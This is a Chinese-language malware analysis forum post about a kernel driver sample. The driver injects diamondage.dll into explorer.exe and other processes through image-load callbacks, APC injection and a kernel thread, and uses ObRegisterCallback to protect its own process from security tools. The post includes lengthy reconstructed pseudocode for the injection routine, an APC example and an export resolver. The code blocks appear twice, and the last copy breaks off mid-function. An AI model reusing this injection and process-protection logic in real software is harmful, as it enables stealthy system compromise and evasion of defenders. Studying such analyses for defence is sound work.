写这篇报告的主要目的是分析最近的一个驱动样本
该恶意样本是一个内核攻击框架,集成了多层级系统回调机制和混合注入技术。通过逆向分析发现,其核心架构基于Windows内核回调系统构建,采用"主动+被动"双重攻击模式确保攻击可靠性。


通过逆向发现,该样本注册PsSetLoadImageNotifyRoutine回调函数,这是Windows内核提供的合法接口,允许驱动程序在系统加载任何可执行映像(DLL或EXE)到进程地址空间时获得通知。
当系统加载器(通常是ntdll.dll中的LdrLoadDll或系统启动时的映像加载)准备将PE文件映射到进程地址空间时,内核会遍历已注册的回调链表,依次调用每个回调函数。这一机制原本用于防病毒软件和系统监控工具,但被恶意软件滥用用于检测特定DLL加载时机。

恶意利用:本样本在回调函数中执行以下检测逻辑:
检查加载的映像路径是否包含\System32\或\SysWOW64\字符串,用于判断系统DLL加载
通过PsGetProcessWow64Process判断当前进程是32位还是64位环境
当检测到explorer.exe、taskmgr.exe或perfmon.exe加载系统DLL时,触发注入流程
下面是部分伪代码表示
同时,该样本采用APC注入目标进程

这是一个apc注入的示例代码,展示了该样本的原理,略去了安全检查
在这个样本中,调用的FindLdrLoadDll函数还原如下
样本使用CreateSystemThread在内核地址空间创建系统线程,这是与用户模式线程完全不同的执行上下文。

CreateSystemThread创建的系统线程运行在内核模式,没有关联的用户进程上下文。这意味着:线程在系统进程(System,PID 4)的上下文中执行,具有内核最高权限(IRQL PASSIVE_LEVEL),不受用户进程生命周期影响,传统用户模式安全产品无法监控其执行
与传统被动注入不同,样本采用主动攻击模式,枚举运行中的进程,寻找explorer.exe,使用KeStackAttachProcess将当前线程附加到目标进程地址空间,进而注入explorer的上下文
下面还原了部分伪代码
该样本主动注入shellcode到目标进程,实现了无文件落地,下面给出分析
IDA里看到,4883EC284831C94831D249B8000000000000000049B9000000000000000048B8是 ymmword_140004088等是预定义的Shellcode数据模板
我们把其反汇编
在ActiveInjectDll函数中,Shellcode被这样修改:
下面给出了ActiveInjectDll的伪代码
样本使用ObRegisterCallback注册对象管理器回调,这是Windows对象管理器提供的强大机制,允许驱动程序监控和拦截进程、线程句柄操作。

通过回调函数发现,驱动对同名的diamondage.exe进行了进程保护,通过此机制,恶意驱动可以:防止安全工具获取PROCESS_TERMINATE权限来终止恶意进程,阻止调试器获取PROCESS_VM_READ/WRITE权限来读取或修改恶意进程内存,监控对特定进程的句柄操作,实现早期预警
该样本为内核攻击框架,通过注册PsSetLoadImageNotifyRoutine回调监控系统DLL加载,并利用ObRegisterCallback对自身进程实施句柄降权保护,阻止安全工具扫描或终止。核心采用CreateSystemThread创建内核线程,主动枚举并附加至explorer.exe等高权限进程,结合APC注入与RtlCreateUserThread双重技术植入恶意DLL。
通过手动加载恶意驱动,成功复现了dll的注入



同时,复现了进程保护

这是恶意软件的pdb路径

欢迎提出意见
void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo)
{
__int64 currentIrql;
PEPROCESS currentProcess;
BOOLEAN isWow64Process;
PEPROCESS targetProcess;
BOOLEAN shouldInject;
NTSTATUS status;
__int64 lastBackslashPos;
__int64 ldrLoadDllAddr;
__int64 securityCookie;
PEPROCESS processObject = NULL;
PFILE_OBJECT fileObject = NULL;
PUNICODE_STRING dosName = NULL;
// 硬编码的字符串数组
WCHAR system32Path[] = L"\\System32\\";
WCHAR syswow64Path[] = L"\\SysWOW64\\";
// 检查进程ID是否为有效值(排除0和3等特殊进程)
if (ProcessId != 0 && ProcessId != 3)
{
// 必须在PASSIVE_LEVEL IRQL且不是签名映像(避免检查已签名的系统文件)
currentIrql = KeGetCurrentIrql();
if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0)
{
if (FullImageName)
{
// 获取映像路径字符串
PWCH imagePath = *(PWCH*)(FullImageName + 8);
if (imagePath)
{
// 检查是否加载System32目录下的DLL
if (wcsstr(imagePath, system32Path))
{
// 获取当前进程(调用者进程)
currentProcess = IoGetCurrentProcess();
// 检查当前进程是否是32位进程(WoW64)
if (PsGetProcessWow64Process(currentProcess))
{
isWow64Process = TRUE; // 是32位进程
goto CHECK_PROCESS; // 跳转到进程检查
}
}
// 检查是否加载SysWOW64目录下的DLL(32位系统目录)
if (wcsstr(imagePath, syswow64Path))
{
// 获取当前进程
targetProcess = IoGetCurrentProcess();
// 检查当前进程是否是64位进程(不是WoW64)
if (!PsGetProcessWow64Process(targetProcess))
{
isWow64Process = FALSE; // 是64位进程
CHECK_PROCESS:
// 初始化变量
processObject = NULL;
fileObject = NULL;
shouldInject = FALSE;
dosName = NULL;
// 通过进程ID获取进程对象
status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject);
if (NT_SUCCESS(status))
{
// 获取进程对应的文件对象(可执行文件)
status = PsReferenceProcessFilePointer(processObject, &fileObject);
if (NT_SUCCESS(status))
{
// 获取文件的DOS设备名(如\Device\HarddiskVolume1\...)
IoQueryFileDosDeviceName(fileObject, &dosName);
// 递减文件对象引用计数
ObfDereferenceObject(fileObject);
}
// 如果成功获取DOS设备名
if (dosName)
{
// 在路径中查找最后一个反斜杠
lastBackslashPos = FindLastDash(dosName->Buffer, L'\\');
if (lastBackslashPos != -1)
{
// 获取文件名部分(反斜杠后的字符串)
PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1));
// 检查是否是目标进程
if (_wcsicmp(fileName, L"explorer.exe") == 0 ||
_wcsicmp(fileName, L"taskmgr.exe") == 0 ||
_wcsicmp(fileName, L"perfmon.exe") == 0)
{
shouldInject = TRUE; // 标记需要注入
}
}
// 释放DOS设备名字符串缓冲区
ExFreePoolWithTag(dosName, 0);
}
// 递减进程对象引用计数
ObfDereferenceObject(processObject);
// 如果需要注入
if (shouldInject)
{
// 在已加载的映像中查找LdrLoadDll函数地址
// ImageInfo + 8 可能是映像基址
ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll");
// 只对64位进程进行注入(!isWow64Process)
if (!isWow64Process)
{
// 执行APC注入,注入特定DLL
ApcInject(ProcessId,
L"C:\\ProgramData\\DiamondAge\\diamondage.dll",
ldrLoadDllAddr,
NULL);
}
}
}
}
}
}
}
}
// 安全cookie检查(栈保护)
sub_140002350((unsigned __int64)&securityCookie ^ v22);
}
}
void __fastcall NotifyRoutine(__int64 FullImageName, __int64 ProcessId, __int64 ImageInfo)
{
__int64 currentIrql;
PEPROCESS currentProcess;
BOOLEAN isWow64Process;
PEPROCESS targetProcess;
BOOLEAN shouldInject;
NTSTATUS status;
__int64 lastBackslashPos;
__int64 ldrLoadDllAddr;
__int64 securityCookie;
PEPROCESS processObject = NULL;
PFILE_OBJECT fileObject = NULL;
PUNICODE_STRING dosName = NULL;
// 硬编码的字符串数组
WCHAR system32Path[] = L"\\System32\\";
WCHAR syswow64Path[] = L"\\SysWOW64\\";
// 检查进程ID是否为有效值(排除0和3等特殊进程)
if (ProcessId != 0 && ProcessId != 3)
{
// 必须在PASSIVE_LEVEL IRQL且不是签名映像(避免检查已签名的系统文件)
currentIrql = KeGetCurrentIrql();
if (currentIrql == 0 && (*(DWORD*)ImageInfo & 0x100) == 0)
{
if (FullImageName)
{
// 获取映像路径字符串
PWCH imagePath = *(PWCH*)(FullImageName + 8);
if (imagePath)
{
// 检查是否加载System32目录下的DLL
if (wcsstr(imagePath, system32Path))
{
// 获取当前进程(调用者进程)
currentProcess = IoGetCurrentProcess();
// 检查当前进程是否是32位进程(WoW64)
if (PsGetProcessWow64Process(currentProcess))
{
isWow64Process = TRUE; // 是32位进程
goto CHECK_PROCESS; // 跳转到进程检查
}
}
// 检查是否加载SysWOW64目录下的DLL(32位系统目录)
if (wcsstr(imagePath, syswow64Path))
{
// 获取当前进程
targetProcess = IoGetCurrentProcess();
// 检查当前进程是否是64位进程(不是WoW64)
if (!PsGetProcessWow64Process(targetProcess))
{
isWow64Process = FALSE; // 是64位进程
CHECK_PROCESS:
// 初始化变量
processObject = NULL;
fileObject = NULL;
shouldInject = FALSE;
dosName = NULL;
// 通过进程ID获取进程对象
status = PsLookupProcessByProcessId((HANDLE)ProcessId, &processObject);
if (NT_SUCCESS(status))
{
// 获取进程对应的文件对象(可执行文件)
status = PsReferenceProcessFilePointer(processObject, &fileObject);
if (NT_SUCCESS(status))
{
// 获取文件的DOS设备名(如\Device\HarddiskVolume1\...)
IoQueryFileDosDeviceName(fileObject, &dosName);
// 递减文件对象引用计数
ObfDereferenceObject(fileObject);
}
// 如果成功获取DOS设备名
if (dosName)
{
// 在路径中查找最后一个反斜杠
lastBackslashPos = FindLastDash(dosName->Buffer, L'\\');
if (lastBackslashPos != -1)
{
// 获取文件名部分(反斜杠后的字符串)
PWCH fileName = (PWCH)(dosName->Buffer + (lastBackslashPos + 1));
// 检查是否是目标进程
if (_wcsicmp(fileName, L"explorer.exe") == 0 ||
_wcsicmp(fileName, L"taskmgr.exe") == 0 ||
_wcsicmp(fileName, L"perfmon.exe") == 0)
{
shouldInject = TRUE; // 标记需要注入
}
}
// 释放DOS设备名字符串缓冲区
ExFreePoolWithTag(dosName, 0);
}
// 递减进程对象引用计数
ObfDereferenceObject(processObject);
// 如果需要注入
if (shouldInject)
{
// 在已加载的映像中查找LdrLoadDll函数地址
// ImageInfo + 8 可能是映像基址
ldrLoadDllAddr = FindLdrLoadDll(*(__int64*)(ImageInfo + 8), "LdrLoadDll");
// 只对64位进程进行注入(!isWow64Process)
if (!isWow64Process)
{
// 执行APC注入,注入特定DLL
ApcInject(ProcessId,
L"C:\\ProgramData\\DiamondAge\\diamondage.dll",
ldrLoadDllAddr,
NULL);
}
}
}
}
}
}
}
}
// 安全cookie检查(栈保护)
sub_140002350((unsigned __int64)&securityCookie ^ v22);
}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PKAPC pKapc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
memset(pKapc, 0, sizeof(KAPC));
PETHREAD pEthread = NULL;
NTSTATUS status = PsLookupThreadByThreadId(processId, &pEthread);
KeInitializeApc(pKapc, pEthread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)TestRoutine, NULL, NULL, KernelMode, NULL);
KeInsertQueueApc(pKapc, NULL, NULL, 0);
ExFreePool(pKapc);
ObDereferenceObject(pEthread);
DriverObject->DriverUnload = UnloadDriver;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
PKAPC pKapc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
memset(pKapc, 0, sizeof(KAPC));
PETHREAD pEthread = NULL;
NTSTATUS status = PsLookupThreadByThreadId(processId, &pEthread);
KeInitializeApc(pKapc, pEthread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)TestRoutine, NULL, NULL, KernelMode, NULL);
KeInsertQueueApc(pKapc, NULL, NULL, 0);
ExFreePool(pKapc);
ObDereferenceObject(pEthread);
DriverObject->DriverUnload = UnloadDriver;
return STATUS_SUCCESS;
}
unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName)
{
__int64 result; // rdi
__int64 ntHeaderOffset; // rdx
__int16 magic; // r8
__int64 optionalHeaderPtr; // rax
__int64 exportDirectoryOffset; // rcx
__int64 dataDirectoryPtr; // rax
IMAGE_DATA_DIRECTORY* exportDirectory; // rsi
unsigned __int64 exportAddressTable; // r13
unsigned __int64 exportNameTable; // rcx
__int64 i; // r15
unsigned __int64 currentFunctionName; // r12
__int64 nameLength; // rax
__int64 nameLength2; // rax
__int64 nameLength3; // rax
unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h]
unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h]
// 参数检查:模块基址和函数名不能为空
if (!moduleBase || !functionName)
return 0LL;
result = 0LL;
// 解析PE头结构
// 获取NT头的偏移(e_lfanew)
ntHeaderOffset = *(int *)(moduleBase + 60); // DOS头中的e_lfanew
// 获取可选头魔法值(IMAGE_NT_HEADERS->OptionalHeader.Magic)
magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16); // 4为Signature大小,16为FileHeader大小
// 计算可选头指针位置
optionalHeaderPtr = ntHeaderOffset + moduleBase + 24; // 24 = sizeof(DOS_HEADER) + 4
exportDirectoryOffset = 0LL;
// 根据PE类型(32位或64位)调整导出表目录的偏移
// 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b)
if (magic != 0x20B) // 不是64位PE,可能是32位PE
exportDirectoryOffset = optionalHeaderPtr;
if (exportDirectoryOffset)
{
// 64位PE:DataDirectory在可选头末尾
dataDirectoryPtr = exportDirectoryOffset + 112; // 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128
}
else
{
// 32位PE或其他情况
dataDirectoryPtr = ntHeaderOffset + moduleBase + 120; // 32位PE的DataDirectory位置
if (magic != 0x20B)
dataDirectoryPtr = 96LL; // 某些特殊情况
}
exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr);
if (exportDirectory)
{
exportAddressTable = moduleBase + (unsigned int)exportDirectory[8]; // AddressOfFunctions
exportNameTable = moduleBase + (unsigned int)exportDirectory[9]; // AddressOfNames
nameTableCopy = exportNameTable;
exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals
// 遍历所有导出函数名
for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1)) // NumberOfNames
{
// 获取当前函数名的RVA并转换为VA
currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i);
// 检查当前地址是否在用户空间且有效(内核模式下的安全访问)
if (moduleBase >= MmUserProbeAddress) // 如果模块基址在用户空间之上(内核空间)
{
_mm_lfence(); // 内存屏障,确保内存读取顺序
// 验证函数名字符串地址的有效性
if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i)))
{
_mm_lfence();
// 计算函数名长度
nameLength2 = strlen((const char *)functionName);
// 验证函数名字符串结束地址的有效性
if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName))
{
_mm_lfence();
// 再次计算长度并进行不区分大小写的比较
nameLength3 = strlen((const char *)functionName);
if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) &&
!*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName)) // 检查字符串结束符
{
_mm_lfence();
// 找到匹配的函数名,返回对应的函数地址
// 使用序号表查找对应的函数地址索引
// 公式:函数地址 = moduleBase + EAT[序号]
// 序号 = EOT[i] (从序号表获取)
return moduleBase + *(unsigned int *)(exportAddressTable +
4LL * (exportDirectory[5] + // Base (起始序号)
(unsigned int)*(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i) - 1));
}
}
}
exportNameTable = nameTableCopy; // 恢复nameTable指针
}
else // 模块在用户空间
{
_mm_lfence(); // 内存屏障
// 直接进行字符串比较(假设用户空间访问安全)
nameLength = strlen((const char *)functionName);
if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength) &&
!*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName))
{
_mm_lfence();
return moduleBase + *(unsigned int *)(exportAddressTable +
4LL * *(unsigned __int16 *)(exportOrdinalTable + 2LL * (unsigned int)i));
}
exportNameTable = nameTableCopy; // 恢复nameTable指针
}
}
}
return result; // 没找到,返回0
}
unsigned __int64 __fastcall FindLdrLoadDll(unsigned __int64 moduleBase, __int64 functionName)
{
__int64 result; // rdi
__int64 ntHeaderOffset; // rdx
__int16 magic; // r8
__int64 optionalHeaderPtr; // rax
__int64 exportDirectoryOffset; // rcx
__int64 dataDirectoryPtr; // rax
IMAGE_DATA_DIRECTORY* exportDirectory; // rsi
unsigned __int64 exportAddressTable; // r13
unsigned __int64 exportNameTable; // rcx
__int64 i; // r15
unsigned __int64 currentFunctionName; // r12
__int64 nameLength; // rax
__int64 nameLength2; // rax
__int64 nameLength3; // rax
unsigned __int64 exportOrdinalTable; // [rsp+20h] [rbp-68h]
unsigned __int64 nameTableCopy; // [rsp+A8h] [rbp+20h]
// 参数检查:模块基址和函数名不能为空
if (!moduleBase || !functionName)
return 0LL;
result = 0LL;
// 解析PE头结构
// 获取NT头的偏移(e_lfanew)
ntHeaderOffset = *(int *)(moduleBase + 60); // DOS头中的e_lfanew
// 获取可选头魔法值(IMAGE_NT_HEADERS->OptionalHeader.Magic)
magic = *(_WORD *)(ntHeaderOffset + moduleBase + 4 + 16); // 4为Signature大小,16为FileHeader大小
// 计算可选头指针位置
optionalHeaderPtr = ntHeaderOffset + moduleBase + 24; // 24 = sizeof(DOS_HEADER) + 4
exportDirectoryOffset = 0LL;
// 根据PE类型(32位或64位)调整导出表目录的偏移
// 332 = IMAGE_NT_OPTIONAL_HDR64_MAGIC (0x20b)
if (magic != 0x20B) // 不是64位PE,可能是32位PE
exportDirectoryOffset = optionalHeaderPtr;
if (exportDirectoryOffset)
{
// 64位PE:DataDirectory在可选头末尾
dataDirectoryPtr = exportDirectoryOffset + 112; // 112 = sizeof(IMAGE_OPTIONAL_HEADER64) - 128
}
else
{
// 32位PE或其他情况
dataDirectoryPtr = ntHeaderOffset + moduleBase + 120; // 32位PE的DataDirectory位置
if (magic != 0x20B)
dataDirectoryPtr = 96LL; // 某些特殊情况
}
exportDirectory = (IMAGE_DATA_DIRECTORY *)(moduleBase + *(unsigned int *)dataDirectoryPtr);
if (exportDirectory)
{
exportAddressTable = moduleBase + (unsigned int)exportDirectory[8]; // AddressOfFunctions
exportNameTable = moduleBase + (unsigned int)exportDirectory[9]; // AddressOfNames
nameTableCopy = exportNameTable;
exportOrdinalTable = moduleBase + (unsigned int)exportDirectory[10]; // AddressOfNameOrdinals
// 遍历所有导出函数名
for (i = 0LL; (unsigned int)i < exportDirectory[7]; i = (unsigned int)(i + 1)) // NumberOfNames
{
// 获取当前函数名的RVA并转换为VA
currentFunctionName = moduleBase + *(unsigned int *)(exportNameTable + 4 * i);
// 检查当前地址是否在用户空间且有效(内核模式下的安全访问)
if (moduleBase >= MmUserProbeAddress) // 如果模块基址在用户空间之上(内核空间)
{
_mm_lfence(); // 内存屏障,确保内存读取顺序
// 验证函数名字符串地址的有效性
if ((unsigned __int8)MmIsAddressValid(moduleBase + *(unsigned int *)(exportNameTable + 4 * i)))
{
_mm_lfence();
// 计算函数名长度
nameLength2 = strlen((const char *)functionName);
// 验证函数名字符串结束地址的有效性
if ((unsigned __int8)MmIsAddressValid(nameLength2 + currentFunctionName))
{
_mm_lfence();
// 再次计算长度并进行不区分大小写的比较
nameLength3 = strlen((const char *)functionName);
if (!(unsigned int)_strnicmp((const char *)functionName, (const char *)currentFunctionName, nameLength3) &&
!*(_BYTE *)(strlen((const char *)functionName) + currentFunctionName)) // 检查字符串结束符
{
_mm_lfence();
// 找到匹配的函数名,返回对应的函数地址
// 使用序号表查找对应的函数地址索引
// 公式:函数地址 = moduleBase + EAT[序号]
// 序号 = EOT[i] (从序号表获取)
return moduleBase + *(unsigned int *)(exportAddressTable +
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 1天前
被TurkeybraNC编辑
,原因: